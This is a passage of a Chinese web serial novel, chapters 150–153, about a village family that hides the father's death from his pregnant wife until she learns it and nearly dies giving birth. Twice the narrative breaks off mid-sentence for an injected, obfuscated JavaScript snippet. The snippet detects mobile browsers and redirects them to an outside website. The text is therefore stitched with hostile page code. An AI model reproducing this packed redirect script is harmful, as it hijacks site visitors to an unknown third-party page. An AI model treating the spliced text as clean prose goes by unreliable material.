文孝被唐小雨这么一问,稍微愣了一下,然后叹了一口气,解释道:“杏花婶子离世之前,特意交代过我的,让我多照顾一下他们。” 唐小雨听了文孝的解释,还是有些半信半疑,她追问道:“真的就是这样?” 文孝看着唐小雨,又叹了一口气,却没有再说话,似乎有什么难言之隐。 唐小雨有些不理解地嘟囔道:“那个云亭到底是怎么回事啊?杏花婶子都走了他也不回来,秀兰也快要生了,这云义反倒是守在家里,真是太奇怪了!” 就在这时,一旁沉默不语的佳华突然冷不丁地冒出一句:“爹,你刚才跟云义叔说的是谁**吗?” 文孝显然被佳华的问题吓了一跳,他的身体猛地一颤,脸上露出一丝惊愕的神色。不过,他很快就恢复了镇定,矢口否认道:“瞎说啥呢,我可没说过!你听错了!” 为了掩饰自己的失态,文孝连忙抬腿站起身来,故作轻松地说道:“我去刘大夫那里要点治跌打损伤的药回来!”说罢,他头也不回地快步走了出去。 唐小雨看着文孝突然离去的背影,心中的疑惑愈发加深了。她转过头,凝视着佳华,追问道:“你刚才说什么?” 佳华小心翼翼地把嘴巴凑近母亲的耳朵,压低声音说道:“娘,我刚刚好像听到爹说等生完孩子之后告诉她,还要带回来安葬!娘,你说爹说的会不会是……” 话还没说完,唐小雨突然打断了他,脸色一沉,厉声道:“住嘴!小孩子家的,不要胡乱猜测,更不许胡说八道!你肯定是听错了,出去以后绝对不可以乱说,听到没有?” 佳华被母亲突如其来的呵斥吓了一跳,他瞪大眼睛看着母亲,只见母亲的脸色十分难看,眼神中透露出一丝慌乱和不安。佳华意识到自己可能说错话了,连忙应了一声:“哦,知道了,娘。”然后站到了一旁,生怕母亲会再次突然发火。 唐小雨看着文孝远去的背影,心中却如同被打翻的五味瓶一般,各种滋味涌上心头。她不禁开始怀疑起佳华说的话,难道真的像他说的那样吗?如果这一切都是真的,那么之前发生的许多事情似乎都能解释得通了。可是,这怎么可能呢?这简直就是一场噩梦啊!唐小雨的脑海中不断闪过各种念头,她觉得自己的头都快要炸开了。 第二天,佳华在与传家一起上学的路上,提起来了这件事! 第151章 十块钱 佳华皱着眉头,满脸狐疑地说道:“你说奇不奇怪?昨天我明明听到我爹跟你叔叔在谈论什么带回来安葬,可当我追问到底是谁**的时候,他们俩却都守口如瓶,一个字也不肯透露。更离谱的是,我娘居然还发了脾气,严厉警告我不许出去乱说,这到底是怎么一回事呢?我真是百思不得其解啊……” 传家难以置信地问道:“你说谁?我叔?” 佳华点了点头,肯定地回答道:“是啊,就是你叔叔!我亲耳听到的,绝对不会有错!而且他们好像还提到了生完孩子以后再说,你娘不就快生孩子了嘛!” 传家的心跳骤然加快,一种不祥的预感涌上心头。他觉得事情似乎变得越来越复杂,而且其中可能隐藏着一些不为人知的秘密。他的眉头紧紧地皱在一起,焦虑地对佳华说:“你先走吧,我突然想起来还有点别的事。” 传家一路跑到了田地里面,远远的就看到文孝和云义在地里锄草,他快步跑过去,只听文孝一脸愁容地说道:“云义啊,你小雨嫂子的脚不小心扭伤了,到时候你嫂子生孩子恐怕还是得提前找个人帮忙照应一下啊!你大哥他已经不在了,但他们母子几个可千万不能再出什么意外啦!” 云义听后,也是眉头紧皱,忧心忡忡地回应道:“是啊,我嫂子最近天天都在问我大哥的事情,我都不知道该怎么回答她。每天我都故意待到很晚才回家,就是在刻意躲着她,我真的不知道该如何面对她,更不知道该跟她说些什么好!” 文孝见状,无奈地叹了口气,然后轻轻地拍了拍云义的肩膀,安慰道:“哎……这事儿也不能怪你啊,谁能料到云亭会突然发生那种事情呢!” 然而,就在文孝的话音刚落之际,一个突如其来的声音猛地传了过来:“你们说我爹他怎么了?” 这声音犹如一道晴天霹雳,让云义和文孝都瞬间呆住了。他们万万没有想到,传家竟然会在这个时候突然出现! 云义一脸惊讶地看着传家,他没想到传家会突然跑来这里。云义皱起眉头,语气有些严厉地问道:“你不去上学跑来这里做什么?” 传家紧紧地盯着云义,眼中透露出一丝倔强,他毫不退缩地回答道:“你不告诉我,我就不去上学!” 云义无奈地叹了口气,他抬头看着天空,心中暗自思忖着:大哥,我这到底要怎么办才好啊? 面对传家的追问,他实在不知道该如何回答。 就在这时,文孝走了过来,他拍了拍传家的肩膀,轻声说道:“传家,我们没说什么,我们就是说你爹说不定哪天就回来了!好好上学去吧,别胡思乱想!” 然而,传家根本不相信文孝的话,他摇了摇头,激动地说道:“不可能,你们说的才不是这些!佳华都告诉我了,你们说什么等我娘生完孩子以后,把人带回来安葬!叔,你告诉我,你们说的,到底是不是我爹!” 传家的话如同一把重锤,狠狠地敲在云义的心上。他的眼泪像决堤的洪水一般,从眼角滑落下来。云义再也无法抑制内心的悲痛,他快步走过去,紧紧地拥抱着传家,声音哽咽地说道:“传家,对不起……” 传家情绪激动地一把推开了云义,满脸怒容地吼道:“骗子!我爹每个月都让你带钱回来,还给我买了钢笔,肯定是佳华故意骗我的,我爹他肯定还好好的,对不对?” 文孝见状,连忙上前劝慰道:“传家啊,你也不小了,有些事情你应该能明白的。你娘她现在有身孕,有些事可千万不能让她知道啊,要是让她知道了,后果可就不堪设想了啊!” 然而,传家根本听不进去这些话,他赌气般地转过身,头也不回地大步离去。 云义见状,急忙追了上去,边跑边喊:“传家,你先冷静一下,听我把话说完啊!” 传家的脚步丝毫没有停顿,泪水却像决堤的洪水一般奔涌而出,他哽咽着说道:“你告诉我这不是真的,你们说的都不是真的!” 云义终于追上了传家,他气喘吁吁地拉住传家的手,满脸愧疚地说道:“对不起……” 然而,传家却对云义的道歉无动于衷,他猛地甩开云义的手,愤怒地吼道:“骗子!我要回去告诉我娘!” 说罢,传家再次迈步朝家里走去,任凭云义在身后如何呼喊,他都没有丝毫停下的意思。 云义快步上前紧紧地抓住了他的胳膊,他的声音低沉而有力,带着一丝急切和焦虑:“你看着我的眼睛,既然你已经知道了,我也就不瞒着你了,你爹他已经回不来了,这是无法改变的事实。难道你还想让你娘也出事吗?妇人生子本就是九死一生的事情,如果在这个时候出了什么意外,你和弟弟们可怎么办呢?你也要为你娘和她肚子里的孩子着想啊!” 传家像是被这一番话击中了要害,整个人都愣住了,呆呆地站在原地,泪水涌出眼眶,顺着脸颊滑落。他的嘴唇微微颤抖着,却说不出一句话来,只有那悲痛的哭声在空气中回荡。 云义看着传家如此伤心,心中也不禁一阵酸楚。他叹了口气,继续说道:“我知道你现在很难过,我又何尝不是呢?你奶奶就是因为知道了这件事,一时无法接受,才会病情加重的!我们都不希望家里再失去任何一个人了啊!” 听到云义提到奶奶,传家的哭声愈发响亮起来。他猛地扑进云义的怀里,像一个受伤的孩子找到了依靠一般,紧紧地抱住云义,哭得撕心裂肺:“叔……” 当晚,传家像往常一样回到家中,但与往常不同的是,他一进门便径直钻进了自己的房间,仿佛外面的一切都与他无关。 秀兰准备好了晚餐,当她发现传家回来后一直没有出来,便喊了好几遍传家吃饭。 然而,传家却始终没有回应她的呼喊,这让秀兰感到有些奇怪和担心。 正当秀兰决定自己走进房间去看看传家到底怎么了的时候,云义恰好从外面回来。他看到秀兰一脸忧虑的样子,便问道:“嫂子,您这是怎么了?” 秀兰向云义说明了情况,云义安慰道:“嫂子,您别着急,您坐着休息下,我去叫他出来。”说罢,云义快步走向传家的房间。 秀兰见状,点了点头,便在凳子上坐了下来。 云义来到传家的房门前,轻轻敲了敲门,然后喊道:“传家,是我,我进来了哦!”说完,他缓缓推开了房门。 进入房间后,云义一眼就看到传家正坐在桌前,目光凝视着父亲曾经用过的一些物品,整个人仿佛陷入了某种沉思之中。 云义走到传家身边,关切地问道:“传家,你娘在叫你吃饭呢,你怎么也不回应一声啊?” 传家缓缓转过头,看着云义,眼中闪过一丝悲伤,他低声说道:“我怕我控制不住自己……”话还没说完,他的声音就有些哽咽,同时用手抹了一把眼角的泪水。 云义温柔地抚摸着传家的头,语重心长地说道:“你是家里的老大,弟弟们还小,需要你的照顾和帮助。我相信你一定可以的!不要让你母亲太担心!” 传家坚定地点了点头,眼中闪烁着一丝光芒:“嗯,我爹走之前就交代过我,要我好好照顾弟弟们。我一定会尽我所能,照顾好他们的!” 就在这时,外面突然传来“啪”的一声脆响,紧接着传诚的哭声传了进来。 传业的声音也随之响起,带着些许责备:“真笨啊,连个碗都端不好!现在好了,碗也摔了,饭也撒了一地,晚上你就别吃饭了!” 传家听到弟弟的哭声,急忙从屋里走了出来,一把将传诚拉到身边,轻声安慰道:“没事儿的,别哭,大哥那碗给你吃。” 传业见状,有些不满地嘟囔道:“大哥,你老是这么惯着他,他会越来越皮的!” 传家并没有理会传业的抱怨,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498397|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续安慰着传诚:“好了,别哭了,快吃饭吧。”然后他转过头,对传业说:“别再说了,大家都好好吃饭吧。” 秀兰看着传家,关切地问道:“传家,你今天是不是有什么心事啊?怎么看起来有些不高兴呢?” 传家摇了摇头,勉强挤出一个笑容:“没事儿,我就是……不饿。” 秀兰看着传家的模样,语重心长地说:“人是铁,饭是钢,一顿不吃饿得慌,不饿也要少吃一点才行啊!” 传家没有说话,潦草的扒了两口,便起身说自己要去学习了,快步进了屋子! 秀兰皱起眉头,看着传家,小声说着:“这孩子,我怎么总感觉他今天怎么有点儿不太对劲呢?” 一旁的云义见状,连忙宽慰道:“大嫂,您别太担心了,也许,是传家最近学习压力大,心思都放在学习上了吧。” 秀兰点了点头,虽然心里还是有些疑虑,但也觉得云义说得有道理。毕竟传家一直都是个懂事的孩子,从来没有让她操过心。 然而,隔日清晨,当传家正准备出门上学时,却意外地发现弟弟传诚正鬼鬼祟祟地在床头翻找着什么。 传家心生好奇,走上前去,轻声问道:“你在干什么呢?” 传诚听到声音,猛地转过身来,脸上露出一丝惊慌失措的表情。他双手迅速背到身后,结结巴巴地回答道:“没……没有啊,我就是铅笔找不着了……” 传家看着弟弟那副紧张的模样,心里越发觉得奇怪。他盯着传诚,目光犀利地问道:“真的只是找铅笔吗?” 传诚的脸色瞬间变得通红,他低下头,不敢与传家对视:“嗯……” 传家从自己的书包里掏出一支铅笔,递给传诚,说道:“给你,下次可要放好一点,别再丢了。” 传诚接过了铅笔,哦了一声! 传家没有再理会,转身出门上学去了! 可是到了晚上,秀兰却突然在床头翻找起来,似乎在寻找着什么重要的东西。传家见状,连忙关切地问道:“娘,您在找什么呢?让我来帮您找吧!” 秀兰焦急地回答道:“我昨天明明放在枕头下面的十块钱,怎么突然就不见了呢!” 传家听了,心中不禁一动,他突然想起早上传诚在这里翻过东西。于是,他连忙安慰母亲道:“娘,您别着急,先歇着吧。我去帮您找找看!”说着,传家放下了自己的书包,转身快步走了出去。 秀兰还没弄清楚状况,就看到传家急匆匆地走了出去,心里不禁有些担忧。她犹豫了一下,还是决定跟出去看一下究竟是怎么回事。 传家一路小跑,在村子里四处寻找着传诚的身影。他逢人便问,终于在问了好几个孩子之后,打听到传诚正在村边玩耍。 传家心急如焚,立刻朝着村边跑去。果然,他远远地就看到传诚正和一群小伙伴们在空地上嬉戏打闹。 传家三步并作两步地冲到传诚面前,二话不说,揪住传诚的耳朵就往家里拽。传业见状,急忙跟在后面喊道:“大哥,你这是怎么了?是我带小弟出来玩一会儿的,你别生气啊!” 传家的脸色阴沉,他死死地盯着传业,声音中透露出一股无法遏制的怒意:“那钱也是你让他偷的吗?” 传业一脸惊愕,连忙摆手道:“什么钱?我可没干过这种事!”他的目光不由自主地转向了传诚,似乎在寻求一个解释。 传诚则是一脸痛苦地捂着被传家揪住的耳朵,嘴里不停地喊着:“疼,大哥你轻点……” 传家根本不理会传诚的求饶,他一把将传诚拉起来,厉声道:“走,回家自己跟娘解释去!” 就这样,三个孩子一路匆匆地走到了家门口。刚走到门口,秀兰就迎了上来,她看到传家一脸怒容,传诚则是哭着叫着的样子,“哎呦,传家,这是咋回事?”秀兰焦急地问道。 第152章 秀兰生产 传家深吸一口气,努力让自己的声音保持平静:“你问他,我早上出门的时候,看到他在枕头下面乱翻呢!” 秀兰的脸色瞬间变得十分难看,她转头看向传诚,眼中闪过一丝失望:“传诚?你真的拿枕头下的钱了?” 传诚捂着自己的耳朵,矢口否认道:“我没有,大哥他骗你的!我早上说了我在找铅笔!” “好啊,你不说也没关系,传业,你去他的书包里面找找看,十块钱,不可能这么快就花完了的!”传家一脸严肃地说道。 听到这话,传业像离弦的箭一样,飞快地跑进屋里。 “二哥,你别去,我真的没有拿!”传诚见状,急忙喊道。他一边说着,一边也想冲进屋里去,却被传家死死地拽住,怎么也挣脱不开。 传诚心里越发着急,眼看着传业就要在自己的书包里翻出那十块钱,他情急之下,竟然朝着传家的手上狠狠地咬了一口。 然而,就在这一刹那,传业却突然出现在门口,手里高高地举着一个崭新的笔盒,兴高采烈地喊道:“我找到了!” 传诚顿时像泄了气的皮球一样,耷拉着脑袋,根本不敢抬头看向母亲。 秀兰看到这一幕,气得浑身发抖,她顺手拿起一旁的扫把,就要朝传诚打去。 “娘,您坐着,小心身体,我来替你教育他!”传家连忙拦住秀兰,关切地说道。 秀兰听了传家的话,稍微冷静了一些,缓缓坐了下来,但还是瞪着传诚。 传家走到传诚面前,扬起手掌,“啪、啪”两声,不轻不重地拍打在传诚的屁股上,然后板着脸问道:“你以后还敢不敢偷钱了?” 传诚一边哭着一边喊道:“我没有偷钱,我没有偷钱……” 传业一脸狐疑地看着传诚,语气严厉地质问道:“你没偷钱,那你这钱是从哪儿来的?” 传诚满脸泪水,抽抽搭搭地回答道:“我……我就是想买个笔盒而已,他们都有好看的笔盒,就我没有……呜呜呜……” 传家听了传诚的话,气得脸色发青,他指着传诚的鼻子骂道:“笔盒?就为了这么一个笔盒,你就要去偷钱吗?你怎么就这么不懂事!你就不能跟娘说你想要个笔盒吗?你看看你现在,不仅偷了钱,还觉得自己没有错,你真是太让人失望了!” 秀兰接过了那个笔盒仔细的看着,是啊,一个全新的笔盒,自己从来都没有给几个孩子买过笔盒,就连传家和传业都还用的是纸盒子代替的笔盒,眼前的这个笔盒里躺着两根铅笔,一块快要擦没了的橡皮!笔盒里还躺着一把零钱,数了数,整整有九块钱! 秀兰看向传诚,问道:“这笔盒多少钱买的?” 传诚揉着眼泪说道:“一块钱!” 秀兰看着眼前的笔盒,心中不禁涌起一股酸楚。她怎么也想不到,这个孩子也就只花钱买下了了这个笔盒。虽然他偷拿了钱,但至少没有胡乱挥霍,这让秀兰感到既欣慰又心酸。 秀兰轻轻拿起笔盒,打开盖子,果然看到里面还躺着剩下的九块钱。她默默地将钱取出来,然后对传诚说:“以后可千万不要再偷偷拿钱了,有什么想要的东西,直接跟娘说就好。也没买什么乱七八糟的东西,笔盒买了就买了吧。” 然而,一旁的传家却并不这么认为。他紧紧抓住传诚的胳膊,一脸严肃地说:“不行,一块钱也是钱!你偷拿了钱,就必须要有认错的态度。今天你必须向娘认错,否则这件事情绝对不能就这么算了!” 传诚听了传家的话,顿时哭了起来。他委屈地看着秀兰,哭诉道:“娘都已经原谅我了,你为什么还要我认错呢?” “今天你必须认错!”传家一脸怒容地对着传诚吼道。 传诚满脸委屈地看着秀兰,泪水在眼眶里打转,他哭着对秀兰说:“娘,大哥他欺负我!” 秀兰看着传诚那可怜巴巴的样子,于是她轻声对传诚说:“诚儿啊,你偷拿了钱确实是你的不对。” 传家拽着传诚到了杏花的遗像前让他跪下来,说道:“你今天要是不肯认错,就一直跪到你认错为止!” 秀兰有些疑惑,传家今天怎么发这么大的脾气,想了一下,传诚偷偷拿钱确实也不对,惩罚一下也是应该的,便也不去过多理会了! 传家陪着传诚一起跪在地上,传诚还在委屈的哭着,传家心里的悲伤也被一点点的释放了出来,他也跪在地上流着泪! 传诚看着传家,满脸的不解和委屈,泪水在眼眶里打转,他抽泣着说道:“你哭什么?挨打的又不是你!” 传家听到弟弟的话,心中的怒火愈发燃烧起来,他瞪大了眼睛,怒视着传诚,吼道:“你还是觉得自己没有一点错吗?你知道爹在外面赚钱有多不容易吗?” 传诚并不服气,他梗着脖子反驳道:“我没错,我不过就是花了一块钱而已!等爹回来,他肯定愿意给我花很多很多钱!才不像大哥你这么小气,连一块钱都舍不得,还要**!” 传家再也无法忍受弟弟的无知和任性,他扬起手,一巴掌狠狠地扇在了传诚的脸上。这一巴掌打得传诚措手不及,他的脸上顿时浮现出一个红红的掌印。 传家的手因为用力过猛而微微颤抖着,他的声音也因为激动而变得有些沙哑:“爹回不来了!再也回不来了!”说完,他像泄了气的皮球一样,瘫坐在地上,放声大哭起来,那哭声凄惨而绝望,仿佛整个世界都要崩塌了。 传诚被传家的这一巴掌打得有些发懵,他呆呆地望着传家,完全没有反应过来发生了什么事情。 这是他突然的一句话,真真的让门外的秀兰听到了,她手中正端着装满豆子的簸箕,在听到这句话的时候,簸箕突然从手中滑落,豆子洒落了一地! 秀兰的手紧紧地抓住门框,仿佛那是她唯一的支撑点。她的身体微微颤抖着,嘴唇也有些发白,声音带着一丝难以置信的颤抖:“传家,你刚才说什么?” 传家跪在那里,满脸泪水,他的肩膀不停地抽动着。传诚在一旁看着,也不禁跟着哭了起来。传家没有说话回应,传诚又重复了一遍:“大哥说,爹回不来了!” 秀兰只觉得两腿发软,她的身体像是失去了所有的力气一般,摇摇晃晃地向传家走去。每一步都显得那么艰难。她走到了传家面前,一把抓住他的胳膊,急切地问道:“你告诉我,你刚才说什么?你都知道些什么?” 传家低着头,泪水不停地从他的脸颊滑落。他张了张嘴,想要说些什么,但喉咙却像被什么东西堵住了一样,发不出一点声音。秀兰看着传家的样子,心中的不安愈发强烈,她摇晃着传家的胳膊,大声喊道:“你说话啊!你到底知道些什么?” 传家抬起头,他的眼睛红肿,充满了哀伤。秀兰见状,心中的绝望如潮水般涌上心头。她突然想起了云亭,那个过年都没有回家的丈夫。那个时候,她就已经开始担心他是不是出了什么事情。 秀兰的手不自觉地捂住了肚子,一阵剧痛袭来,让她几乎无法站立。她缓缓地蹲了下来,身体蜷缩成一团,泪水像决堤的洪水一般涌出眼眶。她的心中充满了痛苦和无助,不知道该如何面对这个突如其来的噩耗。 传家满脸惊恐地喊道:“娘,娘您怎么了?” 就在这时,云义恰好从外面归来,他一见到屋内的情形,心中一紧,急忙飞奔过去,将秀兰紧紧地抱在怀中,然后小心翼翼地将她放在床上。 云义关切地问道:“大嫂,大嫂你感觉怎么样?” 秀兰面色苍白,额头上冷汗涔涔,她紧咬着牙关,艰难地说道:“我……我好像快要生了!” 云义闻言,脸色瞬间变得煞白,他连忙说道:“我这就去找大夫!” 然而,秀兰却突然伸出手,死死地抓住了云义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507032|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳膊,她的声音带着一丝决绝:“你告诉我实话,你大哥到底怎么了?你不说实话,我今天就是死在这里,也不会让大夫靠近我半分!” 云义的身体猛地一颤,他的嘴唇微微颤抖着,似乎想要说些什么,但最终还是没有说出口。 秀兰见状,心中的不安愈发强烈,她的眼眶渐渐湿润,泪水在眼眶中打转,她哽咽着说道:“你还不愿告诉我实情吗?你这样一直瞒着我,又有什么意义呢?云义,你不要让我恨你!” 云义的内心痛苦不堪,他知道秀兰的性格,如果不告诉她真相,她绝对不会善罢甘休。可是,他又该如何开口呢? 犹豫再三,云义最终还是缓缓地跪了下来,他的双膝重重地磕在地上,发出“砰”的一声闷响。他的眼神有些躲闪,不敢直视秀兰的眼睛,而是看向了一旁的传家。 传家早已泪流满面,他的小手紧紧地攥着衣角,嘴唇哆嗦着,却一句话也说不出来。 秀兰一脸绝望地看着云义,泪水在眼眶中打转,她的声音带着哭腔:“我已经知道他回不来了,你就不能告诉我,他究竟发生了什么事情吗?” 云义心中也十分难受,但他知道现在不是说这些的时候,他必须先保证秀兰和孩子的安全。他深吸一口气,努力让自己的声音保持平静:“大嫂,你坚持住,我这就去请大夫。只要你把孩子生下来,我一定把所有的事情都告诉你,我说话算话!” 说完,云义像离弦的箭一样飞奔出去。他先是跑到李大虎的家,找到了大虎的娘,请求她过来帮忙接生。大虎的娘二话不说,立刻过来帮忙。 接着,云义又立马赶往邻村,去请刘大夫。刘大夫是这一带最有名的郎中,医术精湛,云义相信他一定能救秀兰一命。 刘大夫很快就赶到了秀兰家,他一边安慰着焦急的云义,一边走进屋子查看秀兰的情况。刘大夫经验丰富,他对云义说:“你嫂子她也不是第一次产子了,放心吧,不会出什么岔子的!” 然而,就在大家都以为一切顺利的时候,意外发生了。孩子顺利分娩出来的那一刻,大虎她娘急匆匆地从屋子里跑出来,满脸惊恐地喊道:“不行啊,云亭家的出血太多啊!” 云义的脸色瞬间变得惨白,他的心跳仿佛都停止了。刘大夫也意识到情况不妙,他立刻冲进屋子,展开了紧急救治。 刘大夫先是用艾灸为秀兰止血,然后又施行了针灸疗法。他还让云义赶紧去熬煮止血的草药,希望能尽快止住秀兰的出血。 屋外,几个孩子围站在一起,他们的脸上挂满了泪痕,泪水像决堤的洪水一般不停地流淌着。传诚哭得最为伤心,他一边抽泣,一边懊悔地说道:“我错了,我真的错了,我不应该偷偷拿钱的,我只希望娘能快点好起来啊!” 传家见状,心疼地搂住传诚,虽然没有说话,但他的内心同样充满了悲伤和自责。 与此同时,云义正在屋里忙碌着。他小心翼翼地熬煮着止血的草药,希望这些草药能对秀兰的病情有所帮助。不一会儿,草药煮好了,云义端起一碗热气腾腾的药汤,快步走进屋内。 然而,当他来到秀兰床前时,却发现秀兰已经虚弱到了极点。她双眼紧闭,毫无生气。云义心急如焚,他轻轻地将药水送到秀兰的嘴边,可药水顺着秀兰的脸颊缓缓流淌而下,根本无法进入她的口中。 站在一旁的大虎娘看到这一幕,心中猛地一紧,提到了嗓子眼儿。恐惧和不安涌上心头,她有些害怕地连连摆手,说道:“云义啊,都到这个地步了,就算了吧。这孩子也已经生出来了,我家里还有些急事,得先走一步了!”话音未落,她便急匆匆地转身离去,仿佛身后有什么可怕的东西在追赶她一般。 云义见状,连忙在后面呼喊:“婶子,你再等一等啊!”然而,大虎娘的脚步却没有丝毫停顿,她头也不回地消失在了门外。 第153章 生了个女儿 经过刘大夫一番紧张的施针治疗,秀兰的出血状况终于得到了控制,这让大家都松了一口气。然而,令人担忧的是,秀兰的身体却突然发起了高烧,这让原本就焦虑的气氛变得更加凝重。 云义心急如焚地询问刘大夫:“刘大夫,我大嫂现在的情况怎么样?她是不是已经没事了?” 刘大夫面色凝重地摇了摇头,说道:“虽然出血暂时止住了,但发起高烧可不是个好兆头啊!需要尽快降温才行。而且,这次生产对她的身体造成了很大的影响,以后的身体底子可能会变差,需要很长一段时间的调养才能恢复。” 云义一听,心情愈发沉重,他恳切地请求道:“刘大夫,您一定要想尽办法治好我大嫂啊!不能有任何闪失啊!” 刘大夫理解云义的心情,他安慰道:“我会尽力的,先给她开一些汤药,看看能不能控制住病情。不过最终的结果如何,还得看老天爷的意思了。” 说完,刘大夫迅速开好了药方,交给云义后便匆匆离开了。此时,刚刚降生的孩子还在哇哇的哭着,果然如大家所料,是个可爱的女儿。三个孩子立刻围拢过来,好奇地看着这个小小的妹妹,眼中充满了对新生命的期待和喜爱。 襁褓里的婴儿或许是因为饥饿,哭得撕心裂肺,小嘴一张一合,似乎在四处寻找着食物。 传家见状,焦急地对小叔说道:“小叔,她好像饿了!” 云义急忙看向躺在一旁的大嫂,只见大嫂面色苍白如纸,紧闭着双眼,毫无生气。她如今这副模样,别说给孩子喂奶了,就算能苏醒过来,都已经是老天爷最大的恩赐了。 云义略作思索,当机立断,抱起孩子快步往外走去。他知道,村里有些人家有刚出生不久的婴儿,或许可以去求求他们,给孩子讨口奶吃。 只是村子里有婴儿的人家并不多,云义一家一家地敲门,向那些有婴儿的家庭说明情况,请求他们能帮忙喂一下孩子。面对这样的请求,大多数人还是愿意帮忙喂上两口的,但是却也不能一直频繁地去找别人讨奶吃,毕竟别人家的孩子也是需要喂养的。 正当云义感到有些无奈的时候,文孝听闻了此事,特意赶来,并送来了一头母羊。他对云义说:“我小时候没奶吃,听我爹说,也是喝的羊奶。不如你们也试试吧!” 云义感激涕零,对文孝的慷慨相助表示万分感谢。有了这头母羊,孩子的喝奶问题总算暂时得到了解决。 然而,眼下还有一个更为紧迫的问题摆在眼前——秀兰的高烧依旧没有退去。 一连几日,秀兰还是发着高烧,云义有些心急了! 云义跪在秀兰的床前,泪水像决堤的洪水一般涌出,他的身体因为悲痛而微微颤抖着。 “大嫂,求求你快点醒过来吧!孩子还这么小,他们不能没有娘啊!”云义的声音充满了绝望和哀求,仿佛这是他最后一丝希望。 然而,秀兰的双眼紧闭,毫无反应,她似乎完全沉浸在自己的梦境之中。 在秀兰的梦中,她看到了云亭,那个她深爱着的男人。云亭站在一片云雾缭绕的地方,他的身影若隐若现,却透露出一种无法抗拒的吸引力。 云亭朝秀兰伸出手,温柔地说道:“秀兰,你愿意跟我一起走吗?”他的声音如同天籁一般,让秀兰的心都为之颤抖。 秀兰脸上露出了幸福的微笑,她毫不犹豫地走向云亭,紧紧地拥抱着他,仿佛这一刻就是永恒。 就在这时,襁褓里的孩子突然哇哇大哭起来,那哭声打破了秀兰的美梦。 云义急忙抱起孩子,一边轻轻摇晃着,一边焦急地呼喊着秀兰:“大嫂,大嫂,你快醒醒啊!” 秀兰的意识在这一刻被孩子的哭声拉回到现实,她的脑海中还残留着云亭的身影,但很快就被孩子的哭声所淹没。 她努力睁开眼睛,目光有些迷茫地望向云义怀中的孩子,问道:“我生了?” 云义原本满脸愁容,当他看到大嫂终于苏醒过来时,脸上的悲伤瞬间被喜悦所取代,他激动地说道:“大嫂,你总算是醒过来了!你看,这是个女孩!” 秀兰缓缓地伸出手,小心翼翼地将孩子抱在怀中,仔细端详着这个刚刚降临人世的小生命。孩子的皮肤粉嫩,眼睛紧闭着,发出细微的声音。秀兰的心中涌起一股母爱的暖流,她温柔地看着孩子,轻声说道:“就叫传美吧,这是你大哥走之前特意提过的名字。” 云义听到这个名字,心中一阵酸楚。他想起了自己的大哥,那个曾经疼爱他的人,如今却已经离他们而去。他不禁跪在地上,泪水涌出,他哽咽着说道:“大嫂,对不起……都是我不好,没能保护好大哥……” 秀兰的眼中也噙满了泪水,但她并没有说什么。她知道,云义已经尽力了,这一切都不是他的错。她默默地看着襁褓里的孩子流出了眼泪。 就在这时,孩子突然又哭了起来,那清脆的哭声在房间里回荡。秀兰有些惊慌失措,因为她发现自己并没有奶水。云义见状,连忙站起身来,抱起孩子,安慰道:“你不用担心,把孩子给我吧,我去喂她。” 李家沟历来有个规矩,就是谁家生了孩子,若是生个是儿子,第三天就要把村里德高望重的长辈们请来喝酒!若生的是个女儿,则是要把村里年长的老太太们请来吃碗清水面! 秀兰这一胎是个女儿,偏偏杏花又离世了,秀兰身体还很虚弱,云义心中却不知该怎么办才好! 正思索着,唐小雨拄着个棍子,一瘸一拐的来了! 云义看着唐小雨那受伤的脚腕儿,连忙说道:“嫂子,您都这样了,还亲自过来,真是太辛苦了。您的脚伤还没好,还是先休息着吧。” 然而,唐小雨却笑着摆了摆手,说道:“没事儿,我这脚已经好得差不多了。再说了,听说秀兰生了个闺女,我这心里高兴啊!所以就想着帮你把带福婆婆们都请过来,一起给秀兰道喜。今天这碗面啊,我一定要亲手做给大家尝尝!” 说着,云义这才注意到唐小雨的身后还跟着文孝的干娘,以及几个辈分较大的老太婆。她们脸上都洋溢着慈祥的笑容,纷纷说道:“这生孩子可是大喜事啊!你就算不请我们来,我们也肯定会主动过来沾沾这个喜气的!” 唐小雨微笑着回应道:“那就多谢各位婆婆了!快请进屋里坐吧。” 随后,唐小雨一瘸一拐地走进了屋里,她的脚伤显然还没有完全恢复,但她却毫不在意,一心只想着去看看秀兰和她刚出生的女儿。 一进屋,唐小雨便迫不及待地对秀兰说道:“秀兰啊,我来看你啦!哎呀,瞧我这腿,你可千万别怪我今天才来看你啊!” 秀兰连忙起身,迎上前去,感动地说道:“嫂子,你能来我就已经很高兴了,怎么会怪你呢!你的脚伤还没好,应该多休息才是。” 唐小雨发现秀兰那双微红的眼睛:“你这是咋了?月子里可不能哭啊,不然以后年纪大了眼睛要坏了!“ 秀兰轻轻地擦拭着眼角的泪水,强颜欢笑地说道:“我没事儿……”然而,她那微微颤抖的声音却无法掩饰内心的痛苦和无奈。 就在这时,襁褓里传来一阵清脆的哭声,仿佛是孩子饿了。这哭声如同一道闪电,瞬间吸引了所有人的注意。大家纷纷围拢过来,赞叹着这孩子长得如此可爱,宛如天使降临人间。 云义站在一旁,显得有些局促不安。他犹豫了一下,终于鼓起勇气走上前,轻声说道:“那个……把孩子给我吧!”他的语气有些尴尬。 唐小雨这才恍然大悟,原来秀兰没有母乳,她不禁心生怜悯,看着秀兰那苍白的脸色,心疼不已。 